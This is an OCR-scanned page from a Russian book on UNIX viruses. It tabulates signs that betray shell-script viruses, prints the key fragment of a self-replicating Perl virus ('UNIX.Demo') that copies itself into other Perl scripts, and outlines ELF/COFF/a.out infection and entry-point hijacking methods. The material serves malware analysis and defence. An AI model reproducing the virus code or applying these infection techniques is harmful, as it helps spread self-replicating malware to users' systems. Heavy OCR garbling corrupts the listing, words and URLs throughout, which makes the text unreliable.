Раздел: Документация
0 ... 15 16 17 18 19 20 21 ... 102 58 Глава 2. Вирусы в UNIX, или Гибель ТитанИКа Таблица 2.1 {продолжение) Признак Комментарии бгеер find $0 head tail chmod +x "\xAA\xBB\xCC..." "Aj#9KlRzS" vir. virus, virii. infect... Используются для определения типа файла-жертвы и поиска отметки о зараженности (дабы ненароком не заразить повторно); к сожалению, достаточным признаком наличия вируса служить не может, ибо часто используется в «честных» программах Характерный признак саморазмножающейся программы (а зачем еще честному скрипту знать свой полный путь?) Используется для определения типа файла-жертвы и извлечения своего тела из файла-носителя из начала скрипта Используется для извлечения своего тела из конца файла-носителя Если применяется к динамически создаваемому файлу, с высокой степенью вероятности свидетельствует о наличии вируса (причем ключ +х может быть так или иначе замаскирован.) Если служит для занесения в переменную программного кода, является характерным признаком вируса (и полиморфного в том числе) Характерный признак зашифрованного вируса Характерный признак вируса, хотя может быть и просто шуткой Листинг 2.4. Ключевой фрагмент Perl-вируса UNIX.Demo #!/usr/bin/per! #PerlDemo open(File.$0): !?Virus=<File>: (aVims=@V-iriis[C...27]: close(Fi"Ie): foreach SFileName (.<*>) if ((-r SFlleKame) -w SFileName) && (-f SFileName)) open(F;"!e. "SFileNaiie"): @ienp=<File>: c"iose(File): if («аГагоШ =~ "PerlDemo") or (@Тсшр[2] =- "PerlDemo")) { if ((PTemp[0] — "perl") or «аТетрШ =~ "perl")) { open(File. ">$FileName"): print File PVirus: print F-Pe @Temp: close (File); ЭЛЬФЫ В ЗАПОВЕДНОМ ЛЕСУ За всю историю существования UNIX было предложено множество форматов двоичных исполняемых файлов, однако к настоящему моменту в более или менее употребляемом виде сохранились лишь три из них: a.out, COFF и ELF. формат a.out (Assembler and link editor OUTput files) — самый простой и наиболее древний из трех перечисленных, появился еще во времена господства PDP-11 и VAX. Он состоит из трех сегментов; .text (сегмента кода), .data (сегмента инициализированных данных) и .bss (сегмента неинициализированных данных), — двух таблиц перемещаемых элементов (по одной для сегментов кода и данных), таблицы символов, содержащей адреса экспортируемых/импортируемых функций, и таблицы строк, содержащей имена последних. К настоящему моменту формат a.out считается устаревшим и практически не используется. Краткое, но вполне достаточное для его освоения руководство содержится в mane Free BSD. Также рекомендуется изучить включаемый файл a.out.h, входящий в комплект поставки любого UNIX-компилятора. Формат COFF (Common Object File Fo?mat) — прямой наследник a.out — представляет собой существенно усовершенствованную и доработанную версию последнего. В нем появилось множество новых секций, изменился формат заголовка (и втом числе появилось поле длины, позволяющее вирусу вклиниваться между заголовком и первой секцией файла), все секции получили возможность проецироваться по любому адресу виртуальной памяти (для вирусов, внедряющихся в начало и/или середину файла, это актуально) и т. д. Формат COFF широко распространен в мире Windows NT (РЕ-файлы представляют собой слегка модифицированный COFF), но в современных UNIX-системах в качестве исполняемых файлов он практически не используется, отдавая дань предпочтения формату ELF, а вот как объективный — идет нарасхват. Формат ELF (Executable and Linkable Format, хотя не исключено, что формат сначала получил благозвучное название, под которое потом подбиралась соответствующая аббревиатура, — среди UNIX-разработчиков всегда было много тол-киенистов) очень похож на COFF и фактически является его разновидностью, спроектированной для обеспечения совместимости с 32- и 64-разрядными архитектурами. В настоящее время — это основной формат исполняемых файлов в системах семейства UNIX. Не то чтобы он всех сильно устраивал (та же Free BSD сопротивлялась нашествию Эльфов, как могла, но в версии 3.0 была вынуждена объявить ELF-форматом, используемый но умолчанию, поскольку последние версии популярного компилятора GNU С древних форматов уже не поддержива-К)т). но ELF — это общепризнанный стандарт, с которым приходится считаться, х°тим мы того или нет. Поэтому в настоящей главе речь главным образом пойдет о нем. Для эффективной борьбы с вирусами вы должны изучить ELF-фор. всех подробностях. Вот два хороших руководства на эту тему: http://www.ibjhjjdT pub/historic-linux/ftp-archives/sunsite.unc.edu/Nov-06-1994/GCC/ELF.doc t** («Executable and Linkable Format — Portable Format Specification*) циГ* www.nai.com/common/media/vil/pdf/mvanvoers VB conf%202000.pdf («LinuxVjril P:" ELF File Format*). He секрет, что у операционных систем Windows NT и UNIX много общего и ханизм заражения ELF/COFF/a.out-файлов с высоты птичьего полета ничем"6" отличается от механизма заражения форматов семейства new-exe. Тем не нее, при всем поверхностном сходстве между ними есть и различия. Существует по меньшей мере три принципиально различных способа зарзде ния файлов, распространяемых в формате a.out: 1.«Поглощение» оригинального файла с последующей его записью в tmp и уда-лением после завершения выполнения (или «ручная» загрузка фанла-жерт-вы как вариант). 2.Расширение последней секции файла и дозапись своего тела в ее конец. 3.Сжатие части оригинального файла и внедрение своего тела на освободившееся место. Переход на файлы форматов ELF или C0FF добавляет еще четыре: 1.Расширение кодовой секции файла и внедрение своего тела на освободившееся место. 2.Сдвиг кодовой секции вниз с последующей записью своего тела в ее начаю. 3.Создание своей собственной секции в начале, середине или конце файла. 4.Внедрение между файлом и заголовком. Внедрившись в файл, вирус должен перехватить на себя управление, что ооыч но осуществляется следующими путями: •созданием собственного заголовка и собственного сегмента кода/данные перекрывающего уже существующий; •коррекцией точки входа в заголовке файла-жертвы; на с"" •внедрением в исполняемый код файла-жертвы команды перехода тело; •модификацией таблицы импорта (в терминологии a.out — таблицы лов) для подмены функций, что особенно актуально для Stealth-вир. Всем этим махинациям (кроме приема с «поглощением») очень труД110аеВ ся незамеченными, и факт заражения в подавляющем большинстве - IlC. удается определить простым визуальным просмотром дизассемблерно тинга анализируемого файла. Подробнее об этом мы поговорим чуточку а пока обратим свое внимание на механизмы системных вызовов, исп° мые вирусами для поддержания своей жизнедеятельности. Для нормального функционирования вирусу необходимы но ме»Ы"сИ й четыре основных функции для работы с файлами (как то: открытие/за! 0 ... 15 16 17 18 19 20 21 ... 102
|